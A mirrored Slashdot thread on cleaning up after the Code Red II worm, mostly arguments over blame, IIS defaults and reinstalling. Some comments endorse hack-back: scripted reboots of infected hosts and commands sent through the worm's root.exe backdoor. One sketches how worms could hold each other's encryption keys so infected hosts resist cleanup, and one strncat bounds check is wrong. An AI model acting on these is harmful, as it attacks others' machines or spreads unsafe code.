Slashdot Mirror


Code Red: the Aftermath

LiquidPC writes: "Microsoft has released a tool to help clean up the effects of the Code Red II. It removes the files and mappings installed by the worm, and reboots your system; it also gives you an option to permanantly disable IIS." So, Microsoft has given you a mop to clean up the mess they made. Start mopping! If you're not the one infected, just tired of seeing your Apache logs fill up, you might see this page.

151 of 505 comments (clear)

  1. But that doesn't help if... by Ungrounded+Lightning · · Score: 2

    The worm only stays resident in memory after you are infected. Therefore, you are instantly clean after a reboot. It _does_ not stay anywhere else except RAM, which is cleared when you reboot.

    But the trojan modifications by the newer version of the worm are permanent, and will NOT be removed by rebooting and installing the patch. The patch just prevents reinfection by the original buffer overflow bug.

    Look here for a tool to TRY to clean up the system.

    But note that once the system has had the FIRST backdoor installed, that may have been used to install other backdoors, unknown to the author of the cleanout tool. And in infected machine is advertising its vulnerability to the entire net by the infection attempts it makes.

    The only real solution is to reinstall the whole machine, and install the patch before going live on the net.

    (And while you're at it - why not install Linux or a BSD instead, and switch to the Apache web server, which doesn't HAVE this problem.)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  2. Re:FUD ALERT by dzeanah · · Score: 2, Informative

    Second, that FUD about service packs re-breaking the OS is just garbage. Please give me ONE example, JUST ONE, of a service pack opening up new holes for ANY WINDOWS OS, 3.1 and up. You can't because you are a paid basher talking out of your ass. Service pack 2 for NT Server made it so my machine rebooted the 2nd time I accessed a device on the floppy controller. Streamer or floppy -- first access is fine, 2 seconds after the 2nd access I was looking at a black screen and the PC was doing a POST (read: no shutdown, just an immediate reboot). SP3 fixed it, and it wasn't there pre-service pack. When I worked at a major law firm in Atlanta, our DC office had a ton of hard-to-reproduce problems related to the BDC over there. Turns out the admin installed SP4 when it came out because he trusted MS releases. Uninstalled to SP3 and it was solid as a rock. Put SP5 on and it was still great. SP6 sucked, but 6a was just fine (except it broke the way some NT boxes routed, apparently). So maybe the rule is to avoid even-numbered service packs.

  3. Code Red & Others As Advocacy Tool by UberOogie · · Score: 2
    Yes, it is sort of off-topic. No, I do not advocate anyone writing viruses. Go to town, moderators.

    My point is this:
    MS is now on the brink of a win so big that they will be nearly be unstoppable, possibly even by the government, once it happens.

    This is, of course, .NET, which would give them a strangle-hold on ecommerce, and a hand in the pocket of nearly everyone on Passport.

    MS, and even Passport, have had huge security and service blow-ups in the past (Hotmail outages, etc.), and it hasn't even been a blip on the radar as far as most average people are concerned. It hasn't even registered on a corporate level, outside of the IT departments, who are just being blamed by the executives for not taking "proper care" of their single-platform fiats.

    Now, a high-profile virus that keeps going on and doesn't go away (like, for example, Code Red)and forces the public's attention on the issue and becomes a constant and increasing embarassment to MS as it continually claims to have fixed the problem just before a new version shows up.

    Now, people have this in their heads, even if it is the wrong way. ("That evil Russian hacker wrote this awful virus that takes over my computer.") The point being, that even executives will start to notice it, and may take the time to read their half-page summary sheet on the problem that it only affects MS, especially their new products that they want everyone to upgrade to.

    Ultimately, only a sustained, media-covered security crisis will have any sort of effect on MS. Public opinion will only be turned when the average user is affected by it. It will happen after .NET launches and the first hack happens that compromises personal data, but it won't matter unless it happens *before* then.

    Just a thought.

    --
    "Enough of this wretched, whining monkey life." -- Marcus Aurelius, _Meditations_, Book 9, 37
  4. Actually: authors of strncat() MAN PAGE and gets() by Ungrounded+Lightning · · Score: 5, Informative

    Blame the bozo who designed strncat!

    strncat() isn't a problem by itself. The problem is improper usage patterns.

    When you're builiding a string by repeated strncat()s to a buffer, and you don't have guarantees about the size of the things you're concatinating, you need to prevent (or check for) overflow, something like this:

    strncat(dest, src, MIN((BUFFSIZE-1)-sizeof(dest), chars_wanted_from_src));

    Without such an example in the man page it's easy to forget to guard against buffer overflow. And once code is writing with guards for overflow the guard code will serve as a reminder to later programmers maintaining or upgrading the code.

    But strncat() isn't the main culprit.

    Most of the buffer overflow attacks come from reading an input using gets(). That bad boy should have had a buffer size argument, ala fgets(). And it's the decision to keep it in the standard library "for compatability" that causes all the pain.

    The gnu compiler will warn you if you use it and the man page has a warning, so there's no excuse for it to show up in new code any more. And there's no excuse for not fixing ALL the warnings in a piece of production code, or for using (or writing) a compiler that DOESN'T warn about gets().)

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  5. Service Pack MAXINT, step by step by leonbrooks · · Score: 2
    For a straight A: fix the problem forever by replacing NT with Linux...

    Shouldn't be too hard to alter one of the standard installers to:

    • Download a minimalist CygWin kit
    • Pull down a second-stage installer
    • Shrink a partition, live (might have to defrag first)
    • Add three new partitions in the shrinkage (swap, image, /var) using ReiserFS for the data partitions
    • Download and write a base Linux installation image into the image partition
    • Download and install suitable drivers for (e.g.) video card
    • Set up Linux config of network interfaces, DNS, webserver, video, etc from Windows config
    • Copy all active websites into /var/www
    • If any actually use ASP, download, install and use ASP2PHP on them
    • Make the service pack ingredients available via HTTP so that daughter sites can fetch from here istead of home base
    • Break all passwords and copy them across to PAM (invent a new root password)
    • Put the new root password on the default background wallpaper
    • Reboot into Linux, auto-login as root, and restore DNS/web service
    • Migrate all (in case something didn't translate) Windows data into /var/WASWINDOWS
    • Set up a listener at default.ida to react to future CodeRed probes
    • Go through the logs and process all attacking sites

    What have I forgotten?
    --
    Got time? Spend some of it coding or testing
  6. You're dead wrong... by dsfox · · Score: 2

    ...about this not being Microsoft's fault. 90% The machines running code red have no system administrators, because they are home machines whose owners have no idea they are even running a web server? Why? Because Microsoft, in its miniscule wisdom, installs IIS (silently, and in the default zero security mode) whenever the user installs any of various pieces of Microsoft software.

    1. Re:You're dead wrong... by mpe · · Score: 2

      ...about this not being Microsoft's fault. 90% The machines running code red have no system administrators, because they are home machines whose owners have no idea they are even running a web server? Why?

      End user administration appears to be one of Microsoft's central ideas. It's portrayed as making things "easier" to use and as a cost saver to corporate users. (In the case of the latter it can also increase costs because any idiot end user can mess things up...)

      Because Microsoft, in its miniscule wisdom, installs IIS (silently, and in the default zero security mode) whenever the user installs any of various pieces of Microsoft software.

      Even though the workstation version of 2000 apparently does not install IIS by default. Rarely will machines just be running Windows...

  7. Put the blame where it belongs by CAIMLAS · · Score: 2

    Everyone is saying, "blame MS", and "blame the virus writers," and/or "blame the trained monkeys." Everyone has it all wrong. All these people are responsible. MS is for having an OS that allows such exploits to be performed, and for telling people that it's easy and doesn't require skill to keep a server up and running (if you make it easy enough for a monkey to do something, monkeys will do it!). Second, the virus/worm writer, for writing it, and 3rd, the idiot monkeys for playing with something they don't have the skill to play with, and infecting each other. (Maybe like AIDs - people/monkeys play as they shouldn't, infecting each other... and everyone suffers for it.)

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
  8. What is everyone else doing? by ekbond · · Score: 2, Interesting

    As a sysadmin for a couple of Linux web servers, I have been monitoring this site and others to see what everyone else is doing about CR. Up to now, I have gathered that the general feeling was one of moderation: ie., to try to notify the sysadmin of the offending site and wait until they patched or fixed their equipment.

    Now, the feeling seems to be shifting. According to this message and its threads, scripting a reply to reboot the machine is accepted as a response. I am still not comfortable with this but I am willing to go along with the group.

    What does everyone else feel about this?

    1. Re:What is everyone else doing? by J'raxis · · Score: 2

      I wish there was a command to remotely turn a Windows machine into a smoldering pile of burnt plastic and silicon. But that's just how I feel.

  9. Re:Not the mess they made... by dsfox · · Score: 2

    What is the point of your message? Do you think
    posting it enough will make such lazy sysadmins
    go away?

  10. Re:Stop blaming microsoft by blakestah · · Score: 5, Informative

    The rest of us applied the patch supplied by Microsoft more than a month before CR came out...

    And were still vulnerable until we disabled URL forwarding.

    The Microsoft patch alone is not useful. You are still at risk. See Incidents home page

    I'm so sick of people blaming Microsoft. The released a patch well before Code Red. Get over it.

    Microsoft STILL hasn't released a patch that makes their webserver secure and allows URL forwarding. Their patch has its own security hole !!

    Blame Microsoft, or simply use Internet server software that is secure. All mine is written by Dan Bernstein :)

  11. Automatically block IP under IIS? by doublem · · Score: 2

    My company is running IIS 5. Perl is running on the system, and I'd like to create a script that will take any requests for default.ida and add the IP to the list of IP addresses the IIS server blocks.

    While we're at it, can the net send command be used to inform the infected system of its "condition" without resorting to exploiting the Code Red II install of root.exe?

    Anyone have any ideas for using Perl or ASP to do this?

    --
    "Live Free or Die." Don't like it? Then keep out of the USA
    1. Re:Automatically block IP under IIS? by Mike+Hicks · · Score: 2

      Well I have a PHP script that I've made, but I don't know if it works (I don't have any IIS boxes to test on).

      If you want to test it, find an IIS box. Shut off the default route, so nobody can hit you while you're doing this. Copy cmd.exe to root.exe in the scripts folder. Open a browser on the IIS box, and point it at default.ida?XXXXX an Apache system running PHP and the script. If it works, it'll pop up a window on the IIS system.

      When you're done, remove root.exe, restore your default route.

  12. Re:Aftermath? by meldroc · · Score: 2

    It definitely isn't over - Code Red Vigilante still reports dozens of attempted Code Red II attacks. Hopefully, at least some of the decaffeinations get through and get people to patch their machines.

    Port 80 may still be blocked by @Home, but I'm still getting attacks from other @Home customers. When are @Home's admins going to start cutting off the connections of infected machines? It's drastic, but it seems to be the only way to get the attention of some people.

    --

    Meldroc, Waster of Electrons
  13. Re:setting this up? by Mike+Hicks · · Score: 2

    That's Slashdot's posting code trying to prevent really long strings from ending up in posts and screwing up the HTML table layout.

  14. Re:Stop blaming microsoft by slushpupie · · Score: 2, Insightful

    There are many other options when using srings in C, you are not required to use a limited array of char.. in this day, if you are security concious, you should consider all the possibilities when writing a program.

  15. If you've had a corporate hit on your network... by GC · · Score: 2

    Then there is a nice little Vulnerable Server Scanner Provided by the people at www.eeye.com.

    It basicly looks for Vulnerable servers so that network admins can track them down and get the web admins to patch the machines before they get infected.

    Nice to see someone has come up with a clean, pro-active method to kill this little menace off.

  16. Re:I don't think this is funny... by BorgDrone · · Score: 2

    clicking on that link does NOT reboot your machine even if you are infected.
    the reboot stuff only triggers when an infected machine tries to break into the machine running that script.

  17. Re:Stop blaming microsoft by Gordonjcp · · Score: 3, Funny

    Blame Alan Turing, he invented stored-program computers...

  18. Re:Some don't know they have IIS by DeeKayWon · · Score: 2
    I'd really like to know how this happens.

    I'm on Win2K Pro right now, freshly installed last night. IIS is not running, because it isn't installed by default. You have to go to Add/Remove Programs and install it yourself. So how the heck do the Win2K Pro boxen that people run somehow spontaneously install IIS on them without their knowledge? IIS is installed by default on the server varieties of Win2K, but these people shouldn't be running those. So I wonder, what's going on?

  19. Here's a clue about "Linux worms" by rickmoen · · Score: 2
    Which system did Ramen infect?

    It attacked the brainstems of morons who had left notoriously insecure network-daemon software running unpatched for a year or more. That's what we call being too stupid to live.

    Rick Moen
    rick@linuxmafia.com

  20. Microsoft's Problem! by wirefarm · · Score: 5, Insightful

    This is what happens when you give admins a false sense of security.
    After all, they became an MCSE after a couple months of hitting the books, rather than a few years of hacking old hardware. They got a certificate and the sense that the Microsoft way is the best way - If you don't understand what a dialog box is asking, just hit 'Enter' and go with the recommendation. That's how IIS got installed on all of those PCs and this 'Default.ida' nonsense too. I still don't know what a 'default.ida' is used for, and I'm a pretty technical guy. - Something to do with indexing? Whatever.
    Some of my friends are MCSEs. - Not all of them are 'hackers' who actually watch what happens in their systems. They trust that MS will send them a shiny new CD with a 'Service Pack', along with a few other goodies to play with when an update is needed.
    The problem is compounded by the fact that these Win2K CDs got passed around - Microsoft knows this and whether or not they admit it, it's part of their marketing. From what I've seen, I'd suspect that the bulk of the problems are coming from the home users who are running a borrowed copy of Win2K on their PC/Cable Modem setup. The ones who don't get the service packs and don't log into Microsoft.com too read the bulletins for fear of being asked for proof of purchase.
    You Microsoft has these thousands of unlicenced customers that they know are using their software in a dangerous manner - Everything installed, every service running - all the lights on, but nobody home. What is MS's liability?
    With all of the talk about the signifigance of an AOL icon vs. an IE icon on the desktop, MS *knows* how people will react when running an install - They know that if the user gets a dialog that says "Activate IIS?" that an unsure user will probably say yes, even if he has no idea what IIS is or what the risks are.
    Microsoft has got to accept the blame for this mess - It is their doing.
    Unfortunately, this is the first step in the process of requiring people running servers of any kind to be *licenced* - Now won't that be fun?

    Cheers,
    Jim in Tokyo

    --
    -- My Weblog.
    1. Re:Microsoft's Problem! by mpe · · Score: 2

      And the REAL real fix is for Microsoft to ship Win XP with a sane out-of-box IIS configuraiton.

      Actually a real fix would be to move away from monolithic programs. But NT since process creation is expensive under NT multi threading (of multi function programs) is prefered

      Anyone who needs value-add services can certainly find a way to turn them on. If Linux distros shipped with a thousand Apache modules installed and configured, you'd probably have much of the same problems.

      Except that it would be less of obscure to find a fix. IIS isn't modular...

    2. Re:Microsoft's Problem! by MrBogus · · Score: 4, Informative

      - If you don't understand what a dialog box is asking, just hit 'Enter' and go with the recommendation. That's how IIS got installed on all of those PCs and this 'Default.ida' nonsense too. I still don't know what a 'default.ida' is used for, and I'm a pretty technical guy. - Something to do with indexing? Whatever.

      Since you asked... Most people install IIS because they want to serve HTML or ASP pages, or maybe just FTP.

      What Microsoft doesn't tell you is that Internet Information Service_s_ automatically installs a bunch of other ISAPI services which enable crap that you most like do not want. Examples include:
      + The ability to query Index Server indexes (idq.dll)
      + Internet Printing
      + Remote data queries
      etc etc

      Some of these things, particularly idq.dll have *repeatedly* had security holes. And that's why installing the the patch is not a fix, because it's only a matter of time until Code Red IV is exploiting another IIS bug to similar effect.

      The real fix is to disable the extention mappings for things like .ida/.idq and so on (UI is buried in the Computer Management console), and then sleep at night because you don't have to worry about most of the IIS patches. Of course, neither Microsoft or the mainstream media, or slashdot for the most part is offering this advice. (Somewhere buried on their site, they have a 'Securing IIS' document where this is the #1 recommendation, but since they aren't getting the word out, their ass will be bitten hard again.)

      And the REAL real fix is for Microsoft to ship Win XP with a sane out-of-box IIS configuraiton. Anyone who needs value-add services can certainly find a way to turn them on. If Linux distros shipped with a thousand Apache modules installed and configured, you'd probably have much of the same problems.

      --

      When I hear the word 'innovation', I reach for my pistol.
  21. Re:strikeback fun, but not working very often... by RedX · · Score: 2

    IIRC, any MS machine that is a non-server OS will only allow 10 network connections, so I'd think that the PWS servie would fall under this limitation.

  22. Next step: read the damn articles by cabbey · · Score: 2

    I mean Michael went to all the trouble to link to such a script and all, a few tweaks and you've got what you asked for.

    It's a pointless enadeavour though. Of the 1300+ unique hosts that have bounced off my apache machines in the last ~70 hours, only 10 seem to actually be accepting requests for root.exe... the rest throw back either a 404 or a 403, with alot refusing connections, or just returning a "server overloaded" message. Of those ten accepting requests for root.exe two returned some kind of funny response, one redirected to goatse.cx, and the other seven seemed to actually accept commands.

  23. Re:Remind me again... by Omnifarious · · Score: 2

    Well, the first item in that list isn't actually an Apache exploit. It's a piece of trojan code that people are tricked into running by telling them that it's an exploit detector.

    If you expect a count of google hit results to somehow bear any weight in this argument, you're an idiot. One, any given exploit will have 5-10 hits as google indexes mailing list archives. Two, it will catch all mention of 'Apache' and 'exploit' whether or not the thing being mentioned really IS an Apache exploit.

  24. False sense of security by einhverfr · · Score: 2
    Here is my disclosure: I hold an MCSE (I also hold Linux Professional Institute Level 1, Server+, Network+, A+, and Inet+ certs but that is beside the point).

    The Windows GUI follows many of the same design principals that Mac followed for years which is why Apple never marketed the Macs as servers-- the abstraction is great in a workstation but in a complex server environment it is dangerous not to have the ability to participate in the system in the way one does with UNIX. Apple sold servers too, but they ran on UNIX.

    Now you have trainied monkeys who think they know everything about NT, which really ammounts to "reboot when it bluescreens." They think that they are secure because of the quality of Microsoft's software. Yet they don't know really how TCP works so they have no clue how to begin to think about security from the outside-- all they know is security from the inside which is all the exams cover, and all Microsoft want's you to think about because that is where they have the most features (yeah, if yo can break in from the outside, you can break in from the inside, though).

    So now, Microsoft has issued a patch to remove a backdoor-- one loudly advertised. Where is the ecurity in that? They should have, on their web site, in no uncertain terms, exactly what their engineers are telling their customers and exactly what the rest of the security community is saying: If you are infected, reload your computers.

    There is false sense fo security in using this patch. Your IIS server has a backdoor which was heavily advertised to the net. Anybody could have installed another backdoor and you, as the admin would probably never find it. Not, at any rate, until someone used it to deface your site, publish your confidential information, destroy critical information, or other such activity...

    --

    LedgerSMB: Open source Accounting/ERP
  25. Re:Stop blaming microsoft by SuiteSisterMary · · Score: 2

    Criminals subsequently come up with a version of bullets coated with a Teflon derivitive. Manufacturer sends out information that they've an add-on spray that will prevent these new bullets from penetrating their windows. Unsprayed windows will NOT stop these new bullets. You don't get this spray and apply it. MAYBE YOU DON'T EVEN REALIZE THAT YOU'VE GOT BULLET PROOF WINDOWS. Criminals start shooting random windows. They don't actually do much, just shoot the windows. Is it the manufacturer's fault?

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  26. Re:Stop blaming microsoft by Chris+Johnson · · Score: 2

    That is a really stupid place to optimise. I bet it barely shows up on profiling at all, compared to memory management and offscreen bitmap drawing :)

  27. More specifically... by Giant+Hairy+Spider · · Score: 3, Insightful

    Blame the bozo who designed strncat!

    This may not be the cause of this particular overflow, but it causes a very large number of them.

    The main reason you'd use strncat rather than strcat is to avoid buffer overflows, yet instead of the obvious choice of feeding it the buffer size, you have to feed it the maximum number of characters to add. So to use it to prevent buffer overflows, you not only need to remember the buffer size, you have to track the current string length!

    Avoid strncat! Even if you understand it, someone who changes your code might not.

    Make something more intuitive:

    char *buf_strcat(char *dest, char *src, size_t buflen){
    char *cur=dest;
    int i=0;
    while(*cur && i<buflen-1){cur++; i++;}
    while(*src && i<buflen-1){*cur++ = *src++; i++;}
    *cur='\0';
    return dest;
    }

    --

    ---
    You'd be surprised at the broadband connection available to things crawling around in your hair.
  28. Beware of Interlock by eddy · · Score: 3, Insightful

    I've had similar thoughts. I've been reading Multiagent Systems: A Modern Approach to Distributed Artificial Intelligence and with the Code Red outbreak, I've taken to reading it with malware in mind.

    What I've come to realize is that a worm could become real scary if its author, like me, were to be a fan of multi-agent systems. There's a plenthora of research on agent-to-agent communication, just waiting for that big experiment to take place.

    Ponder this: interlock. The worms work together to reach a situation in which a host cannot be cleaned without data from another host, and vice-versa, thus making disinfection extremely hard

    I've been sketching on scenario where relationships are created via the infection plus one level. if A infects B (first level of interconnect), then B would tell A about every other host it infects in turn (second level). These hosts would form a cluster, where each member is free to initiate contact with another and request services.One of these could be the encryption or decryption of data. Hosts would say "Please encrypt this data (hands it over) and return the encrypted result". Say host A tells host B this. Suddenly we're in a situation where we cannot simply disinfect host B, because if we do we'll lose the key that decrypts data on host A! Of course, the worms would negotiate the complement, and host A would contain the key to unlock data in host B. We then expand this scenario to a great interconnection between members of the cluster. We can strengthen the connections by allowing unrelated hosts to negotiate interlocks.

    In the same vein worms can negotiate and divide the search-space between them. Each worm could contain a compressed/simplified representation of the IP-search-space (just a couple of masks maybe? Haven't thought too hard about it). Relatives would communicate which parts have been scanned as to not duplicate (too much) work. This then becomes a parallell binary search!

    I think I'm gonna have to write a short doomsday article too, there's just so much cool things that someone wicked could do.

    --
    Belief is the currency of delusion.
  29. Re:Liability for software defects by OmegaDan · · Score: 2
    I wonder how it is that software manufacturers have been able to escape most liability ...

    We need laws to make software companies liable for one reason -- US software already has a reputation for being of poor quality [read microsoft]. In 5 years that could become a SERIOUS economic issue for the US, maybe german software will become the avant guard (like german engineering is thought of now), or japanese software will be the highest quality (like japanese steel is now). And suddenly we'll find outselves out of the software market like were out of the car market and out of the electronics market

  30. Aftermath? by dohcvtec · · Score: 2, Informative

    The headline implies that the whole Code Red experience is over. I know everybody wants it to be over, but it doesn't seem to be over from where I'm sitting, looking at the sheer volume of logged packets hitting my firewall. So Microsoft has released a solution to the Code Red II worm. That's great, but now try to get most of the infected users to use it. I haven't seen any slowdown in probes from infected machines yet, so I'll believe it when I see it.

    --
    -- Never hit a man with glasses. Hit him with a baseball bat.
  31. Warhol Worm proposed: 15 minutes to total infectio by molo · · Score: 5, Interesting
    • 2001-08-11 13:18:46 Warhol Worm proposed: 15 minutes to total infection! (articles,bug) (rejected)
    Since /. rejected this story, I posted it to the K5 Queue (only visible if you have a K5 acocunt).

    Here's the scoop (more meat at K5):

    According to an article in the latest issue of the RISKS digest, Nicholas Weaver of UC Berkeley has written a description of a new type of worm, the Warhol Worm. He believes that using a divide-and-conquer method, all vulnerable machines over the entire IPv4 addressspace could be compromised in only 15 minutes!

    `In the future, everybody will have 15 minutes of fame' -Andy Warhol

    --
    Using your sig line to advertise for friends is lame.
  32. Some don't know they have IIS by cvd6262 · · Score: 5, Insightful
    "...it also gives you an option to permanantly disable IIS."

    This is a bigger fix than one might think. At the university at which I work, the major problem was not the sys admins who did not patch their servers, it was the professors who had Win2K Professional on their workstations with IIS on and didn't even know it. Some of them knew about the worm, even made sure that the department's IT teams patched their servers, but did not know that they were running a web server in their office, let alone that they were infected.

    --

    I'd rather have someone respond than be modded up.

  33. At Last, the Professor Teaches the Easy Way by lildogie · · Score: 2

    Isn't it funny that they released a bonehead tool just after they found out that their own admins are boneheads?

  34. Re:FUD ALERT by crywolf · · Score: 2

    Let's see. I install Win2K Pro. I start setting it up with some degree of security, install a few apps. It occurs to me to check for updates (it had to do with getting strong encryption in Win2K), so I download SP2. I install it, or try to. Partway through, it decides it can't find its files, no matter how many times I point to it. So I cancel, and then it can't find the files it needs to undo what it did. Again, telling it where the files are does no good.

    Start over with installing Win2K Pro, but the SP is either the very next step or will not happen.

    In retrospect, it could have been that I removed permissions from Outlook Express (obviously an essential part of the operating system).

    I can certainly understand how anyone would be paranoid about installing something in Windows.

    --
    CAUTION: Product may be hot after heating
  35. You know 'Ramen' is dutch for 'windows' :) by Otis_INF · · Score: 2

    I always found it funny the RH worm was called 'Ramen', which is the plural of 'Raam' or in English: 'Window'.

    --
    Never underestimate the relief of true separation of Religion and State.
  36. The real solution. by jcr · · Score: 2

    www.eros-os.org.

    When we can run the microsquish shit under emulation, on an OS that offers real security, then viruses, trojans, and worms become infeasible.

    On EROS, there's no reason for an app to have a write capability to its own code space: ergo, no worms.

    -jcr

    --
    The only title of honor that a tyrant can grant is "Enemy of the State."
  37. Re:Why is the admins fault? by SuiteSisterMary · · Score: 2

    The patch was available a full month before Code Red 1 popped up. Off hand, I'd say that it's not Microsoft's fault. Or look at it this way. Red Hat 6.x is filled with known holes. If I install it on the public internet, is it Red Hat's fault, or my fault, for using it?

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  38. The Real Fix by leonbrooks · · Score: 2
    The real fix is to disable the extention mappings for things like .ida/.idq and so on

    The real fix is to install some other web server. If it supports PHP you can also migrate your VB ASP scripts using ASP2PHP. But maybe you don't want to drag extinct-but-doesn't-know-it-yet methodology and technology across to your shiny new server?

    And... since you're changing such a major server component, why not change the whole server so that you're not, one day, forced to upgrade to Windows XP and bleed money for insecure software for the rest of your life? Install Service Pack MAXINT today!

    --
    Got time? Spend some of it coding or testing
  39. Re:Not the mess they made... by pointwood · · Score: 3, Offtopic

    Talking about rebooting - check this news.com video out.

    Everybody but Bill Gates thinks it's pretty funny :)

  40. No. by Tridus · · Score: 2

    This says nothing about the character of IIS Admins, its about admins in general. And more importantly, people running this thing who don't even know that they have it running.

    Here is what they should have done to get this thing patched quickly.

    "Everybody running a version of Windows on their computer should go to http://windowsupdate.microsoft.com , and download all of the items in 'Critical Updates' (which has the security patches selected by default when you first load it anyway)."

    If you are vulnerable to Code Red and your a home user, the patch appears in the list of updates and will be installed. If not, well no harm done.

    Thats the whole point of Windows Update, if we could just get people to go to it even if they don't think they are open to Code Red, we could put a stop to this thing really fast.

    Thats the problem here, not IIS. A bunch of clueless home users who don't know whats going on and have no reason to check because of the way its being reported will not be the downfall of IIS. If Linux had any amount of home users to speak of, we'd see the same sort of problem among them eveuntally.

    --
    -- "So they told me that using the download page to download something was not something they anticipated." - Bill Gates
    1. Re:No. by mpe · · Score: 2

      "Everybody running a version of Windows on their computer should go to http://windowsupdate.microsoft.com , and download all of the items in 'Critical Updates' (which has the security patches selected by default when you first load it anyway)."

      Assuming Microsoft actually bother to put the right patchs here. IIRC they didn't with the relevent IIS patch.

  41. Use the tool, then format anyways? by moniker_21 · · Score: 2, Interesting

    So first Microsoft says this in the description of the tool:
    Microsoft has developed a tool that eliminates the obvious damage that is caused by the Code Red II worm.
    Then they say this:
    MICROSOFT RECOMMENDS THAT INFECTED INTERNET-FACING SERVERS BE REBUILT ACCORDING TO THE GUIDELINES PUBLISHED ON THE CERT WEB SITE.

    It should be noted that among other things in the CERT guidelines, they tell you to do a clean install of your OS after you've been comprimised. So what's the point of this tool if MS thinks you should just R&R your OS anyways?

    --
    I posted to /. and all I got was this stupid sig
    1. Re:Use the tool, then format anyways? by stripes · · Score: 2
      So while not completely bullet-proof, the possibility is certainly there that one machine visible to the Internet got infected and spread the infection to other machines on the network which are not visible to the Internet.

      So that second machine is totally safe, as long as there is no security problem on the first machine that lets anyone in to it (root.exe anyone?)... in other words better reformat 'em both.

      The "hidden" machines may have a lower chance of having be altered, but since they are probably more important (otherwise why hide them?) that should make one want to be even more careful with them.

  42. Conspiracy Theory by hacker · · Score: 2, Interesting

    Has anyone begun to think that perhaps Microsoft themselves has planted CodeRed and variants out on the internet? Before you mod me down, read on:

    CodeRed, the first version was fairly lame, and didn't infect beyond a separate IP block. Microsoft gets scared and realizes that their "iminent" release of WinXP might be blocked, or worse yet, shunned by the consumers. "Oh no, now we can't track all those stolen copies of Windows".

    Then CodeRedII comes out, a bit nastier, going after more machines. Then Microsoft is denied their appeal.

    CodeRedIII comes out, infection is much worse, and now opens the machine up to more attacks than before. It gets so deep into your Windows system that you must reinstall anyway. Not only that, but allows anyone who reads their logs to go in and cause damage ("polluting blame" as we say). Now compromised machines are being hacked in many more ways than just being opened up.

    What does Microsoft recommend? You download this "patch" (audit tool) which you run and then it "cleans" (audits) your system, then as their own CERT document recommends, you reinstall your OS (i.e. find your original, licensed install media, and hit our website for the latest (intentionally trojaned) copies of drivers and IE/ActiveSetup installation tools).

    What's a bit odd about this process though, is that Microsoft requires that you run their "cleanup" tool to purge the infection, THEN reinstall. If I'm going to fdisk and reinstall anyway, why do I have to run this "cleanup" tool? (audit?)

    Curious that nobody has thought of this angle. Why do we not hear about hundreds of FBI agents tracking down the author of the virus in the Faroese Islands or whatever. Usually these people are caught within days of the outbreak. There hasn't been a single peep about any investigation in two full weeks. It's not like we don't have a HUGE audit trail, we all have dozens of logs. Plot it out, find the dates/times, narrow the search,and find them.

    Oh wait, perhaps they're the same entity which supplied you with the infectable OS in the first place.

    What was that they were saying about Linux being "potentially viral" a few weeks ago?

  43. Has anyone tried running this under Windows? by Mustang+Matt · · Score: 2

    I haven't examined the script yet but Perl will run under windows. Not sure how you'd give it control of .ida though.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
    1. Re:Has anyone tried running this under Windows? by BigBlockMopar · · Score: 2

      A little off topic, how do you know if the infected computer is version 1 or 2?

      Follow the link in my .sig. NNNN = Code Red I. XXXX = Code Red II. Most of them now seem to be CR2 because it's a much more active hunter. When my log files rotate, you're gonna be out of luck until I get hit again. :)

      --
      Fire and Meat. Yummy.
  44. Re:Stop blaming microsoft by KilobyteKnight · · Score: 2

    When you buy a house, you know for a FACT that glass will break when hit with a hammer.

    The people who buy MS products THINK they're getting something secure, since it's one of the many buzzwords (READ: lies) that MS always uses.


    Many people look to buy house in a "safe" neighborhood. Most people want cars with a good "safty rating". People install alarm systems in their homes and cars to make them "safer".

    You know what... none of that works either. Determined people will always find a way to break things. It doesn't matter if it is a house, a car, an alarm system, or an operating system.

    You simply shouldn't try to blame one entity for the malicious acts of another.

    --
    When will Windows be ready for the desktop?
  45. Re:FUD ALERT by Longstaff · · Score: 2, Informative

    It seems to me that a GOOD ADMIN would have any important data backed up prior to installing/upgrading any mission critical servers. Just because you're a negligent moron doesn't mean that Windows sucks. You're correct that a "Good Admin" would back their data up before performing a system upgrade / patch.

    However, in this case, Windows DOES suck, regardless of the (moron|genius) at the keyboard.

    Any system that *requires* OS updates to be bundled and installed along with the application (IIS) updates is broken. It matters not if you have an intern "administering" the box or a 10-year-vet.

    If, for some reason, the latest bugfix from Apache broke compatibility with a current or previous Linux kernel, I can always pop a new kernel in there. On my own time. Checking to make sure that none of my other apps will break. Even if I'm not paying attention and blindly upgrade Apache without checking its deps, I'm left with an unusable Apache - my data is still there. I can just backpeddle to my previous Apache and I'm up again.

    Not so with (2K|NT)/IIS. Install SP, hose machine...reinstall...

    One of these situations takes a little more time than the other...

  46. Re:Stop blaming microsoft by TedCheshireAcad · · Score: 2, Funny

    Seriously, we don't need standard library routines. What use is printf() anyhow??

  47. And it keeps going by bonzoesc · · Score: 4, Informative

    I got this mail, and the problem is that people are WAY TOO STUPID to know what to do. If the microsoft patch can tell if it needs to do anything or not, RR and @home security should point everybody to it.

    From: security@cfl.rr.com
    To: Our Valued Customers
    Subject: Security Notification

    ROAD RUNNER ALERT

    VIRUS ALERT. YOUR IMMEDIATE ACTION IS REQUIRED.

    Dear Road Runner Subscriber:

    Road Runner, like many other ISPs and, indeed, the entire Internet, has
    experienced an attack on its network that apparently is attributable to a
    strain of the Code Red virus. It is possible that this virus has infected
    the PCs of Road Runner customers using the Microsoft Windows NT Server or
    Microsoft Windows 2000 Server operating systems. Infected PCs may
    continue to flood the Internet and the Road Runner network with
    virus-generated messages (even without your being aware of it).

    Road Runner is working to alert all of its subscribers to this problem
    and to instruct them on where to find and install the patch necessary to
    eliminate the virus. In the meantime, Road Runner customers may
    experience slow network response, flashing data lights on their cable
    modems, and other symptoms (such as unusual port scan log activity or
    increased firewall activity) while Road Runner and the Internet community
    work to control the impact of this virus.

    IF YOUR PC IS RUNNING WINDOWS 2000 SERVER OR WINDOWS NT 4.0 SERVER,
    PLEASE IMMEDIATELY DOWNLOAD THE CODE RED PATCH FROM MICROSOFT'S WEBSITE
    (www.microsoft.com/security) AND RESTART YOUR PC.

    IF YOUR PC IS RUNNING WINDOWS 98, WINDOWS 95, OR WINDOWS ME, OR IF YOUR
